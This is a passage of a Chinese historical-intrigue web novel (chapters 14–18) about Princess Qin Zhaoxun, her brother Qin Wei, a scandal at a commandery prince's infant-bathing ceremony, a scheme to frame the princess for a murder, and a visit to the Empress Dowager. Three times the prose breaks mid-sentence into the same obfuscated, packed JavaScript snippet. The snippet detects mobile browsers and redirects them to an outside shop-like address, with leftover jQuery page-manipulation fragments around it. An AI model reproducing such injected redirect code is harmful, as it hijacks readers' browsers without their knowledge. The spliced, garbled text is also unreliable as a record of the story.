她送着秦惟离开,没一会儿又回了屋内坐下。小春去后厨里给她重新熬了药,趁着凉了一些就送了进来。 秦朝寻眼都没抬,有些自嘲地问:“早就好不了了,药喝的再多也是无解的。” “殿下,医师都说了这药不能断的,试试吧,或许真的能有些用处呢?”小春苦口婆心劝着,她知道所有真相,秦朝寻当时有多痛她都看在眼里,自然也跟着心疼,“殿下,算是小春求你了……” 她这么说,秦朝寻当然也心软了,微微叹道:“放着吧,我待会儿喝。” 小春照做,同时还留了几颗方糖在一边。 床边的人摩挲着手上的玉镯子,又开始放空。小春等了一会儿,良久又听人吩咐道:“准备一些薄礼吧,明日我要去康郡王府。” 小春一愣,看着她,“康郡王府吗?” “听说康郡王为小郡主办洗三礼,我去送个礼倒也不奇怪。” 小春诺了一声,慢慢退出去准备明日要送的东西。床边的姑娘垂眸,有些迟钝过去拿起汤药,只是稍稍抿了一口,剩下的都浇到了桌上的那盆栽里。 她紧急将方糖含进嘴里,口中这才有了甜味。 她根本无权向往自由策马奔腾的日子。 15. 第15章 康郡王府百花园内,树木葱茏,偶能看见几朵娇艳的蔷薇。小径四通八达,亭阁之间也有拱桥相连,清池里开满了粉莲,与临水阁台上那碧绿长裙的舞姬互相印衬,倒也能冠上一个“莲叶仙”的美名。 宾客皆聚于此,但王府的主人却是久久不见身影。下人们倒是领了命招待也周全,有心之人横眼看过去也能看到那宴客厅外一身粉色绸缎莲叶裙的女子正吩咐着一些下人。 有宾客唏嘘问着旁边人:“那位就是当家主母康郡王妃了吧?” 几人一道看过去,眼里满是欣赏。 “郡王妃果然能干啊,不愧是国公大人养出来的闺秀。” 百花园院门都有不少郡王府的亲卫,郡王是个爱热闹的,所以来人都会让下人大声通传。 郡王府外停一顶绛红色的轿辇,金色流苏垂落点缀着四周,显得华贵无比。府外的下人看着这鲜少见过的轿辇,心里不免有些紧张,他清了清嗓子,传道:“八公主到——” 秦琳被明心扶着下了马车,精心打扮的她摇着头上繁杂的珠玉簪进了郡王府。 小厮看着人走得远了才大声呼了一口气,下一刻,眼前突然看到一抹浓墨的艳红,甚至比八公主那轿子还要夺人眼球。 光有些许刺眼,他拿着手挡了挡,听着一声御马声。 “吁。” 此人一身赤红剑袖武袍,金线压边,额上系着火红抹额,马尾高束,显得狂野不羁。 他翻身下马掀开身后华贵轿辇的帘子,小厮恨不能擦亮了眼睛好好看着。只见轿辇内出来一位同样妃红拖地烟笼海棠百水裙的姑娘。 这个姑娘看着娇艳无比,眉眼间却能看得出不少精明与干练,一颦一笑都仿如精心设计,小厮打了个激灵,心想着这可能是朵比八公主还不好惹的毒花。 他身边人把他拍醒,没敢怠慢,帮着他通传。 “昭阳公主、十二皇子到——” 秦琳笑了没两步,兴致顿时下去了,“她来做什么?” 郡王与皇家关系不浅,皇子和公主们过来贺喜也没什么不妥,只是当年秦朝寻打在康郡王脸上的那一巴掌如今还能让人联想起清脆的巴掌声。郡王自己碍于面子恐怕也不会愿意看到她来的。 明心和自己主子相比要镇静许多,丽妃也是看她性子稳重这才留着她贴身伺候在秦琳左右。她低语说道:“以康郡王的脾性,宴会开始前就会将人赶出去的,昭阳公主这次可是自己自讨没趣了。” 秦琳很喜欢这个丫鬟,或许是将她哄高兴了,她也便没有盯着秦朝寻,而是进了百花园找了处好亭子赏景观戏。 秦朝寻头上的步摇打得叮当作响,听着竟然也怪让人舒服的。她和秦惟在小径闲逛,树木丛并不高,所以四处美景并无遮拦。到了一处,她盯着那还沾着晨露的蔷薇出了神。 其实她并不喜欢带着刺的花,甚至还有些厌弃。 这点喜好,秦惟是打探不到的。他伸手掸落蔷薇花上的雨露,任谁看了都觉得他实在是无趣才会这么糟蹋一朵花。他笑着问:“阿姐若是喜欢,我也叫人在见春宫种一些?” 小春说:“十二皇子怕是不知道吧?公主可不喜欢带刺的东西。” “不过也挺好看的。”秦朝寻笑了笑,目光放远,不远处一片亭榭下,只有一位粉裙姑娘身边簇拥着不少女眷。她笑意深长,问秦惟,“想来那位就是康郡王妃了?” 小春低下头没敢去看那女主人。秦惟倒是不在意礼数什么的,循着秦朝寻看的方向转了转脑袋,那名女子受不少人簇拥,任谁看了都觉得许是这郡王府的女主人。 “不是。”秦惟只看了一眼,就连秦朝寻都怀疑他到底有没有看清楚,他低笑,同她解释,“康郡王妃其实并不深受郡王宠爱,阿姐还记得我说了,郡王那位前妻吗?” 他这么一提点,秦朝寻就想起来了。 康郡王秦策豢养了不少娇妻美妾,他的性情似乎也是从这位新郡王妃入府之后才开始的。当年他在街上戏谑秦朝寻反被打,颜面扫地,连带着王妃母家都有段时间是抬不起头的。 男人喜爱娇妻美妾那也是常事,只不过这府里的主母失了郡王宠爱被小妾压一头那可是大事了。今日这洗三礼到场的宾客个个都不是小人物,郡王若是对王妃不上心,又何必摆这么大的宴席。 “你是想说,今日的宴席是秦策悼念前妻所摆的吗?” “多少是有点关系的。听说这位小郡主长得像极了前郡王妃,郡王可是高兴了不久呢,毕竟是一家人,生出来的孩子像了些倒也不奇怪。”秦惟也看了看四处,就属那位侧妃身边最是热闹了,“不过没看到郡王妃也真是有些奇怪。” 秦朝寻继续往前走,并没有目的。她笑起来也没有方才那么让人感觉寒颤,手上拿着一串翡翠手珠,好看的东西放一块儿最能互相映衬,秦惟被她那白皙修长的手吸引,心里忽然有了痒意。 他的阿姐是他见过最美丽、也最危险的女人,其实他想,如果能够得到她半颗真心,不论要付出什么他都甘之如饴。 “阿惟,你有心事?”秦朝寻见他难得这么出神,今日百花园也来了不少高门贵女,多往来总归不是什么坏事,“你年纪也不小了,也多看看大将军给你找的那些姑娘。” 他急着解释:“阿姐,我没有看过那些画像。” 秦朝寻无奈摇头,宴客厅坐满了人,她只好招呼走快些。 宴客厅不是很大,所以仆从们只能留在外面等候。洗三礼开始之际一位桃红对襟羽纱长裙的女子匆匆来迟,仆从不得直视客人,小春只听人传是太医院院使夫人。 美妇人款款走来,她似乎也没有那般急,小春看着粉色衣锻在自己跟前停下,预感不是很妙。 门口的婢女说:“程夫人,洗三礼马上就要开始了,估摸着郡王和侧妃马上就带着小郡王来了。” “侧妃主持?这么大的日子,我那姐姐怎么不见人影?” 她称康郡王妃是姐姐,那么这位夫人恐怕就是荣国公府的二小姐荣梨了。 小春的眸子暗了又暗。 荣梨没再听王府的婢女解释,瞥了一眼身边的人慢慢进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17057373|193763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了宴客厅。 不一会儿,康郡王秦策扶着侧妃入殿,侧妃手里抱着一名小女婴,若是没人说,谁看了都觉得这是和和睦睦的一家三口。接生的婆子让人在盆里添了温度正好的清水,再加红枣桂圆。 侧妃笑着把孩子放进盆中清洗身子,良久擦净水这礼才算完毕。 众人准备拍掌祝贺,就在这一瞬,一声怒喝吓到了不少人,“贱妾!那是我的孩子!” 殿外,一身石榴裙的郡王妃怒气冲冲走进来,她冲到那侧妃面前,抬手便是一巴掌。 侧妃手里还抱着小郡主,被打了这么一下她也往后踉跄了几步,然后被一只手慢慢扶住。秦策眼神阴鸷,嗓音中压抑着怒气,“王妃这是何意?” 荣檀脸上是精心打扮过的,可这脸白得不像个正常人。她笑得瘆人,怒目瞪着秦策道:“小郡主是我生下的,郡王如此无情拆散我们母女,今日在这么多贵客面前,又是何打算呢?” 秦策命人先按住荣梨,赔笑到:“诸位,今日我郡王府有些家事还要处理,百花园请了不少舞姬,诸位若是有兴致可以先去百花园赏戏。” 他的目光扫过一众宾客,最后恰好落在了秦朝寻身上,那笑蓦地就冷了。 秦惟和秦朝寻找了处亭子坐下,府里的下人做事很快,没一会儿就摆上了茶和解馋的糕点。 秦朝寻捏着灯芯糕咬上一口,慢慢笑道:“原来郡王府也这么热闹。” “郡王妃和秦琳一样生性好强,这桩婚事也是强求来的,秦策其实也并不乐意。”秦惟看着百花园里也没有多少宾客继续留着,又问,“阿姐还要继续看戏吗?” “没戏看了,我在等鸟儿。” 石榴色的绣鞋又落在小春眼前,程院使的夫人贸然来打扰简直是稀客中的稀客。秦朝寻有些意外,她还想着是秦策派来催她赶紧离开的下人。 “……这位夫人,有事吗?” “荣梨见过昭阳公主、十二皇子殿下。”她自报了名字,看着很是热情,“郡王妃毕竟与我同出一家,姐姐和姐夫没能照顾周全,我这个做妹妹的只好自作主张来招待了。” “原来是程夫人,不必客气,坐下吧。”秦朝寻正是无趣的时候,有些事也确实要从郡王亲信口中套到,“本宫听说郡王和郡王妃是一对羡煞旁人的璧人,怎么今日一见,那侧妃更像是王府的主母了?” 荣梨话里带着些许嘲弄,答:“壁人吗?那公主听说的应当不是我这位大姐了。” 她不说也还好,这么一说了总能勾得人想要探究一番。当然,荣梨也不是那么不识趣的人,慢慢解释说道:“曾经与郡王情投意合的荣三小姐已经死了好多年了,我父亲为了安抚郡王,将一心爱慕郡王的大姐又嫁了过来。这是荣国公强求来的一门亲事,郡王其实也不乐意。” “比起活着的姐妹俩共侍一人,一方死后从中插足要看起来坏很多。” 秦朝寻问:“那荣三小姐……是如何死的呢?” 荣梨静了一会儿,吐出两个字:“劫杀。” “……但我不信。” 16. 第16章 有不少外人在场,荣梨其实也不敢把话说得太满。 她抬眼看着秦朝寻,有种探究的意味,“不知道殿下有没有了解过荣国公府的事?” 内宅之事不少人都会忌讳外人知道,家丑不便外扬,荣国公府这高门内的事情更是难以打听。秦朝寻从秦惟那儿有了些了解,但也不好直说。 荣梨禀退下人,亭子内就剩下她与两位金贵的殿下。百花园植株茂密,凉亭里甚是凉快,她有些冷扯了扯身上的披锦将自己裹紧了些。 她轻浅笑开,眸中却带着不少冷色,“荣国公府嫡庶有着天壤之别,大小姐和三小姐均是嫡出,受府里人敬重,一点小疼小病都是请太医的。但庶出就不一样了……我们这种偏房姨娘生的就是他们口中的贱胚子,我小的时候啊可是国公府里的奴役,比下人的地位还要低不少。” “三小姐和大小姐虽然是主母所生,但俩人性情全然不同。大小姐嚣张跋扈,对府里的下人更是苛刻,我们庶女若是碰了她难免要吃些骨头再走。其实那时候我也不懂为什么姐姐要如此刁难我这个妹妹,我花了很久才知道原因。”荣梨失笑,嘴角忍不住的抽搐感到委屈,“我们更喜欢三小姐的,她为人和善,也常会送些好吃的给我们。主母苛责她与我们庶女走太近,经常被罚着跪祠堂。三小姐一点儿也不像主母,所以我们都不怕她,下人们私底下也都很喜欢这个三小姐。” 秦惟忍不住插嘴:“庶出的小姐在国公府也不受国公喜爱,可二小姐这门亲事攀的可不是普通人家啊。” “十二皇子说得不错,我能嫁给太医院院使为妻是国公好不容易求来的。荣国公最先出嫁的其实是三小姐荣秋,康郡王可是对三小姐情有独钟啊,正因为对方是康郡王,父亲很快便同意了这门亲事。三妹妹出嫁的时候是何等风光,攀上皇亲国戚让国公的野心迅速大涨,为了拉拢权贵,他借着三女儿成郡王妃的关系看上了程家。程霁在太医院本就有些真才实学,也是我入了程府以后他仕途一路顺畅,两年便升了院使。” 两年,这升迁的速度确实快了。秦朝寻知道康郡王是没那个手段的,安排一个人进太医院其实不容易,若还要插手太医院里面的事情,除了皇上,也只有柳太后有这个权力。 秦燔称帝后将原先的柳皇后追封了太后,丽妃入宫为妃也是柳太后从中插手,为的就是稳住柳家的地位。思及此,秦朝寻也是豁然开朗了。 她吹凉香茶,送到唇边,“方才程夫人说不信前郡王妃是被劫杀,可有什么依据?” “据我所知,荣秋没有仇家。父亲对她的死并没有多在意,反而是很急地将大小姐嫁进了郡王府。我这位大姐姐早在荣秋出嫁前对郡王动了那点心思了,可毕竟国公需要荣秋牵住郡王,荣檀就只能委屈一下了。”荣梨说到这,秦朝寻才觉得荣国公的这位庶女也绝非等闲之辈,“入郡王府后虽常被冷落,但也成功诞下了小郡主,我这姐姐可是费了不少心思的。” 秦策在前妻死后日日酗酒,荣檀接机在酒里做些手脚也没人怀疑。 “郡王试了不少办法要打掉王妃肚子里的孩子,但我父亲谨慎,也安插了不少人在荣檀身边,只为了成功诞下郡王的子嗣。虽然不是儿子,但这小郡主肖似三小姐,也足够成为郡王的软肋。” 秦惟都不由得感叹这位国公打得一手好牌,但好在如今郡王把孩子养在了自己身边,也不怕将来荣国公和郡王妃会做什么。 秦朝寻杯中的茶已经见底,她抬眼看着荣梨,问出了自己疑惑已久的问题:“程夫人口无遮拦地将这些事情告诉本宫,你想得到什么?” 荣梨微微垂下眼,失神了半刻,温声道:“实不相瞒,我还有一位同是庶出的四妹。她已经失踪了十多年了,她叫荣春。” 她稍微暼了凉亭外等候的小春,再没说任何话。 其实照她所说,府里的庶女日子过得煎熬,若是被折磨致死然后谎称失踪也不奇怪。秦朝寻也是信这种说法的,但荣梨似乎并不相信。 秦惟:“……国公没差人寻过吗?” 荣梨笑答:“当然寻过,但她消失得无影无踪,连我都一度以为她早已经死了……” 程府的马车很快就到了郡王府外,荣梨被程家人看得紧,不得不先行离开。 秦惟转头看秦朝寻,饶有意味道:“荣国公这手伸的未免太长了,太医院这地方也是伸进去了。” “恐怕远不止如此,他身后的人才是最厉害的。” “还真是稀客啊。”一道低沉的声音打断他们思绪,只见凉亭外,康郡王秦策冷不丁地看过来。他方才处理完自己的私事,眼中也憔悴了几分,自然也没办法再发一场怒。 秦朝寻镇定自若,仿佛是在自己的见春宫内,“郡王要坐下说话吗?” 秦策没什么闲心和秦朝寻再促膝长谈,许是看到了秦惟也在一边,他也稍微客气了些,“二位来我郡王府实在是有失远迎,刚刚在殿里也是让你们看了笑话了。” “我看郡王妃待郡王真心不假,王妃好歹也是国公爷家的嫡女,郡王再不怎么喜欢也要讨好才是啊。”秦朝寻放下茶杯没让侍女再添,既知道秦策没什么待客的精力,也就不准备继续叨扰了,“今日天气甚好,多谢郡王款待。” 秦朝寻先带着小春离开,秦惟走在后面,一个没注意被秦策拉到了身边。 他拧眉,问:“她今天抽了什么风?这么好说话?” “我阿姐一向好说话。” 秦策立马沉默,似乎问了也是白问。对于他是个不折不扣的姐奴这事,他可是深有体会。良久,他又开始打探起了将军府的事情,“贵少爷最近有消息吗?” 东方贵是东方将军的儿子,秦惟的表哥。 他眼神寒了许多,不是很想多言,“不知道。” 秦惟和往常一样将人送到了宫门口就没再往前,秦朝寻对于秦惟同谁关系亲近不会多加干涉,但凡是对他不利的,秦朝寻也会用自己的办法将人清除干净。 马车迟迟未动,秦惟便以为是秦朝寻还有什么事忘了做,上前两步问:“阿姐,怎么了?” “……无妨,阿惟,康郡王府恐不太平,今日秦琳去怕也是丽妃授意,这几日我准备去见见柳太后。我不便正面与康郡王府再往来,东方公子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103867|193763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该回京了吧,届时还需要他旁敲侧击一下秦策,你懂我意思吗?” 秦惟低眸,应声道:“阿惟知道了。” 马车缓缓驾进宫道,这边应如是踱步过来,说:“公子,贵少爷游山玩水回来了。” 讨厌什么便来什么。 东方贵曾大肆追求过秦朝寻,他阿姐当时竟也没有私下找人给他一点儿教训,这也是秦惟感到很奇怪的一个点。但对秦惟来说,秦朝寻没有接受东方贵是件好事。不过外人可想不明白想不明白,作为表兄弟,秦惟为什么也不帮着东方贵。 能帮着也是奇了怪了,他与秦朝寻身上流的不是一样的血,卸下十二皇子这层身份以后,他也是有资格在秦朝寻那里求得一个名分的。 …… 刚落轿,羽卫就带来了新的消息。 “殿下,八公主还未离开郡王府。” “我猜到了,也许正在和郡王妃商量些什么呢。”秦朝寻在书屋的案前坐下,点了一柱香放入香炉内,“不过秦琳没那么聪明,丽妃说的她也只能记得一半。” “……今日没能接近郡王妃也是件憾事,好在遇上了程霁的夫人。她既然怀疑前郡王妃的死蹊跷,那本宫也稍微费些心思查查吧。” 羽卫领命退出了书屋,小春从郡王府回来以后就心事重重的。秦朝寻注意到了这一点,细声问:“荣梨对荣春来说是很重要的人吗?” “殿下?”小春明显愣住,她犹犹豫豫,也不知道该从哪儿说起。 秦朝寻很有耐心,不过她不打算强人所难,只说:“我不会过问荣春离开荣国公府的原因,我只需要你告诉我,荣梨,说的话有几分真?” 小春属实也没想到秦朝寻要的只是这么简单的一个回答。她咬了咬唇,也没有隐瞒,“她说的都是真的。荣国公府的庶女没有哪个是不恨荣檀的,如果殿下想扳倒荣檀和她身后的荣国公府,荣梨和我都愿意成为殿下的剑。” 她跪下,一头磕在秦朝寻面前。 这么多年,秦朝寻没有查过身边人的身份。因为小春是陛下亲信的公公点名过来照顾她的,她的戒心自然也就小了。她猜测小春就是荣国公府的庶女,也是全是因为荣梨的一个眼神。 她看小春,完全不是陌生人。 “你先起来。”香炉里熏的是养神香,也不知道是不是这香的缘故,小春感觉心慢慢静了下去。秦朝寻来到她面前,轻轻将她扶起,“对付荣国公府本宫有另外的打算,不会为难荣梨的。只是……程霁这个院使身份来得或许不怎么光荣,程家失势以后她会过得有些艰难。本宫会想办法让她早些与程家撇清关系。” 小春道:“殿下,程府如今管事的是程老夫人,此人刻薄,荣梨在程府恐怕也一直受她管制,今日在康郡王府上多留了一会儿,恐怕也是好不容易争取到的一点儿机会。” “荣梨与我,不仅仅是姐妹,小春恳请殿下,救她一命!” “……好。”秦朝寻其实没多大把握能让荣梨全身而退,但眼下她也不得不让小春暂时安心。 她从不是什么善人,救下那些人,不过也是为了利用。 17. 第17章 镇国将军府,仅仅只是看着与深红砖瓦叠砌的宫道不一样的深灰色院墙,秦惟都会感觉心越来越慌。 将军府没什么不好的。比起早些年独居宫中受人欺凌,终日吃不饱睡不足,这里仿佛就是最安全的地方。但秦惟被送来将军府的时机不太对,那时候大将军东方齐病危,整个府里的人都被安排过去照顾那位有着护国荣誉的大将军,很长一段时间,秦惟也还是没人在意的。 秦朝寻被皇帝禁足,即便是去学堂他也见不到想见的人。后面东方齐病情稳定了,学堂放课后的某个午日,秦惟在院子里看见了一个比他高了半个头的少年。 “来!一!出枪!” “喝——” 朱红长袍的少年年长他不少,出枪干净利落,极有力度,立刻让秦惟迷了眼。 秦惟身边的下人告诉他:“这位是贵少爷,咱们将军府的大少爷。他今年十八,好不容易从凉马州回来参加老爷的寿辰的呢。” “贵……少爷?” 单是这个名就能看得出他与东方贵注定不是一样的,他是陛下赐了无上荣誉的将军府的嫡子,一出生就是至高的存在。而自己,是个假皇子,生父甚至还是翼王余党,镇国将军容他活到现在或许也是看在了自己母亲的面子上罢了。 东方贵回府后,秦惟也跟着沾光,吃的也都丰盛了不少。一个府里一旦有了两位少爷都会有一场恶战,不过东方贵比他想的要好相处很多,他看出来秦惟对武术有兴趣,于是把自己的师傅留给了他。 连着几年,东方贵回京也频繁,每次都会和秦惟切磋,顺便看看他有没有长进。也不知道是从什么时候开始,他再没见过东方贵早起习武,他以为东方贵离京是帮着大将军处理凉马州的匪寇,却不知何时他开始沉溺游山玩水。 “秦惟,怎么回来这么慢?” 他进府,东方贵早就等了不知多久,百无聊赖的时候他老喜欢嘴里叼着根草,也不知道是什么癖好。 秦惟找了个杌子坐下,帮着下人一起洗菱角。 不用问也知道这是东方贵买回来的。 “我这次去苏南正好赶上了这菱角生得好,我看着也不贵就多买了些。晚些炖点给老头子试试味儿,听说隔壁的张婆婆很会做菱角糕,我还要打包一份送过去求人家做些给我尝尝味儿呢。” 秦惟话不多,只跟着附和。东方贵吐掉嘴边的草,怎么看都觉得这小子有心事,于是他肘了肘应如是,小声打探:“他怎么了?魂不守舍的,难道是被七公主训了?” 应如是无奈,也只叹了一声,“那倒不是,咱们公子哪那么容易惹七殿下生气。不过是今日去了一趟康郡王府,贵少爷也是知道的,当年康郡王可是一点情面都不留,在快活楼都说过八殿下不少坏话呢。” 这事东方贵听过,秦策当年被秦朝寻打了一掌,当面羞辱不成只能私底下骂骂。快活楼人来人往,那里的姑娘们传起流言蜚语来也是很快的。现在盛京里传的秦朝寻目无兄长姐妹、苛待下人都出自快活楼的一位贵客。 东方贵干脆蹲在秦惟旁边,拿起一个干净的菱角就吃起来,“秦策给小郡主办洗三礼怎么也不叫我?回头我可要好好问问。” “……有件事,我阿姐拜托你的。” …… 夜深人静,康郡王妃的院子里依旧灯火通明。 知了的声音几乎盖过了谈话声,几名婢女上了些养颜的好茶,就退到了一里之外。 妇人头上的金冠已经取下,只留了几根簪子盘着发。她没有白日里那么疯癫,此刻像极了正常人。 “臣妾惶恐,没想到八公主会大驾光临。” “王妃不用太拘谨,本宫不过是来传个话的。再过不久就是前郡王妃的祭日了,王妃还是仁慈,没舍得把那群劫匪灭口。正好郡王也调查那些劫匪有段时间了,不如抛个饵出去,也好帮着郡王妃洗脱嫌疑?” 荣檀声音渐小,说:“臣妾愚钝……还请八殿下赐教。” “很容易,郡王和秦朝寻不是对头么?只需要王妃把祸水引到秦朝寻身上,剩下的自会有人帮着伪造证据。她在京城早就恶名昭著了,加上与秦策的冲突被那么多人看在眼里,她完全有动机寻思报复,不是吗?”秦琳笑得极有心机,荣檀在后宅里也是有些手段的,看人这事上她还没出过错。 她与秦琳见的机会不多,秦朝寻更是没见过。但她听说的两位公主,秦朝寻要比秦琳聪慧不少,城府也极深。秦琳说到底也是仗着有丽妃庇护,否则还真不可能活到现在。 荣檀犹豫了半刻,小心翼翼问:“八殿下是想要我将荣秋的死栽赃给昭阳公主?” “你怕什么?秦朝寻的烂名声摆在那儿,到时候让市坊里的那些碎嘴子再稍微夸大夸大这事儿,陛下自然也不能再包庇她了。” 荣檀只能答应秦琳的献策,看着人离开府邸,她脸上才慢慢晕开一抹笑。 婢子海棠帮她把养颜茶换下,问着:“王妃,真的要听八公主说的吗?” “既然是公主亲自献策,我怎么敢不从?想让我拉着荣国公府一起去搅这趟浑水,也亏他们想的出来。这柳家啊……野心真是越来越大了。” 又是闲散了好几日,秦朝寻听说有南都国的贵客会进宫,这些日子礼部可是忙得不可开交。 院子里的花开得不错,秦朝寻煮茶都有了不少兴致。 小春在一边帮她找茶叶,突然摸到了一个别致的罐子,上边还贴着一张有趣的小人图。 “殿下,这个好像是路大夫送的茶叶。” 秦朝寻拿起来看了一眼,也没有迟疑,往茶壶里倒了不少。 “殿下……这茶叶没问题吗?” “有问题也无妨,不是我喝。”秦朝寻慢悠悠说着,抬眉道,“叫人备马,也该去一趟慈宁宫了。” 柳太后这些年也极少露面,这朝中的人都知道,若不是秦燔心慈手软,作为当年默默支持秦之称帝的柳后也不一定能安稳坐上这个位置的。 然而秦燔还是太放心这个柳太后了,这些年她虽然不涉朝政,可柳家也在增长自己的势力,如今后宫有丽妃,六部内有多少柳家的人,若真要一一去查,恐怕也不是个小数目。 柳太后这些日子热得心慌,前段时间听下人说起秦琳中毒的事情还发狠狠斥责了丽妃一番,这接连几日都没见丽妃来慈宁宫了。 身边的婢女帮她摇着扇子,也是觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112130|193763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口渴了,刚触上瓷杯就被烫了手。她本就烦闷,这会儿火气全被点燃,一手将瓷杯摔地上,喝道:“不知道看眼色的东西!谁要你上热茶了!想烫死哀家吗?” “太后好大的火气啊。”秦朝寻言笑晏晏出现在慈宁宫,让柳太后越发难受了,不过也没等她开口赶人,秦朝寻又说,“我这刚好带了解渴的凉茶,太后不妨试试?” 秦朝寻此番来意不明,柳太后看着她身后的侍卫,也猜到这位昭阳公主是带着羽卫大张旗鼓过来的。眼下皇帝把她捧在心尖儿宠,柳太后若是给了她什么脸色,传到皇帝那头也不好。 思及此,柳太后让人帮她卸了担子,请到了自己的凉亭来。 柳太后看着这小姑娘,不过是一年多未见,她出落得可比自己看着长大的秦琳要别致不少。不过想想,秦琳那丫头不似她这么爱俏,若也跟着细心打扮,应当和秦朝寻不相上下的。 一股茶香入鼻,柳太后有些沉迷,问:“这是何茶?” 秦朝寻借着慈宁宫烧茶的炉子将茶稍稍热了一下,听到太后对这茶颇有兴趣也是挺意外的。她也不遮拦,只说:“是太医院送的普通的茶罢了,太后若是喜欢,我找人再拿上几罐送来。” “太医院?哀家从未听过太医院还会制这种东西。” “从前确实是没有的,太后听说了八公主中毒的事吧?” 太后可不仅仅是听说,服毒的事也是她给丽妃出的主意,不过那毒不至于让人真的没了气,她也以为是丽妃搞混了药材害得秦琳险些丢了性命。这事情做得天衣无缝,秦朝寻肯定是没有机会接触秦琳的。 说起来,那位替秦琳解毒的医师她还没有打听过,若是有那么大的本事,将来拉拢过来也是好事一番。 秦朝寻发现柳太后一时出神,慢慢倒了一杯茶,漫不经心说:“这茶叶就是出自那位路医师之手。” 柳太后被她这句话拉回思绪,这茶太香,她没忍住喝下一口。 和寻常凉茶不一样,这茶下去竟是螚快速疏解心中的郁结,方才还燥热难耐忍不住对着下人发火,这会儿心情是畅快了不少。 只是抬眼看到秦朝寻,她感觉有些微妙。 “来慈宁宫找哀家,不会只送一杯茶吧?你且说说,想干什么?” 秦朝寻笑道:“闲来无事,找太后聊聊天,这也不行么?还是说太后并不欢迎我呢?” 柳太后勉强挤出一个笑,说着反话:“呵呵,怎么会呢?只是哀家鲜少在宫里走动了,这慈宁宫偶然热闹挺让人不习惯的。最近多忘事,听说你生辰已过,哀家最近收了一对上好的翡翠坠子,和你手上这镯子甚是相配。嬷嬷,去取来吧。” 嬷嬷抱了个黑匣子出来,柳太后也是突然热情起来,按着秦朝寻的肩帮她把这翡翠坠子戴上。 不得不说,秦朝寻戴着这耳坠很是合适。既然收了礼,秦朝寻也不能只得便宜,临走前更是把剩下的茶叶也全给了慈宁宫的嬷嬷,好让柳太后喝尽兴。 嬷嬷走回太后身边,瞬间变了脸,“昭阳公主就拿几瓶破茶叶给打发了,太后的那坠子价值可不菲呢。” “身外之物,送了没什么可惜的。能发挥它的作用就不亏。” 18. 第18章 时候还早,秦朝寻正好也顺路,想去御花园歇歇凉。 这几日宫里没什么趣事,唯一让人感觉新奇的,好像就只有入宫的南都国贵客了。前日听秦惟说下属把南都国的那位世子跟丢了,这可把他吓到了。 人丢了,最坏的可能大概就是被其他人盯上成了刀俎下的鱼肉。南都国若是对这位世子不怎么看重,也会顺手将他变成挑起纷争的牺牲品。 “殿下,御花园里好像有其他人。” “那可真是奇怪了,宫里的娘娘们可不会在这种日子里出来纳凉的。算了,就近在长廊上坐下吧。”秦朝寻也觉得热了起来,索性到了长廊下坐着。 御花园分了两片地方,在夏日最凉快的属建在水上的廊亭。这廊亭下的内湖是先皇命人打通的,也是为了图方便,免得一直往避暑山庄跑。这内湖打造得也不错,湖中的荷花开得完全不输康郡王府的。 秦朝寻侧靠在柱子旁,闭上了眼睛小憩。 小春看着她身后也没个东西拦着,提醒说:“殿下,可当心点别掉下去了。” 偶尔会有风吹过,秦朝寻鲜少会把头发散下来,尤是这种夏日。不过她倒是喜欢拿发带一股气束住头发,这样既省事也舒服。 淡黄的衣裙被风吹得一摆一摆的,正对面的廊亭下同是乘凉路过的青衣公子突然被一抹淡色吸引扭头往这儿看过来。 他收了扇风的扇子,愣愣看着对面的姑娘。 那姑娘只露了不到半张脸,倚靠在砖红柱子边。这风来得也巧,把她那身淡黄色的裙摆吹得甚妙,就好似花蕊,脆弱得能激起人的保护欲。还有那恰到好处的几缕碎发,实在是难以忍住不去帮她拨弄一下。 跟随在他身后的公公说道:“那位是昭阳公主殿下,应该也是来纳凉的。” 年轻公子眉头一瞥,还认真想了一番,“昭阳公主?我此前好像也只听说北离只有两位公主吧?” “是的,昭阳公主就是咱们的七公主,是陛下赐的封号。” 说到“七公主”这个名字他就不陌生了。当年他来北离学堂求学正好是赶上了这位公主殴打两位皇子被禁足,人是没见着,传奇故事倒是听了不少。后面回了南都国,在市坊也能听到从北离散布出来的一些谣言。 七公主的名声实在是不怎么样。 可皇帝偏偏就宠着她啊。 看到有人过来,小春稍微拦着,说:“我家殿下在此小憩,还请公子另寻出路。” 后面的公公怕出什么意外,赶紧上来解释说:“小春姑娘,这位是南都国的贵客,恭亲王世子,还请行个方便。” 听说是贵客,秦朝寻也慢慢回过神来,抬头便和陆淮对上视线。 惊讶的自然是陆淮。他甚至有些不知所措,笑得有些太勉强,“邵阳殿下,久仰。” 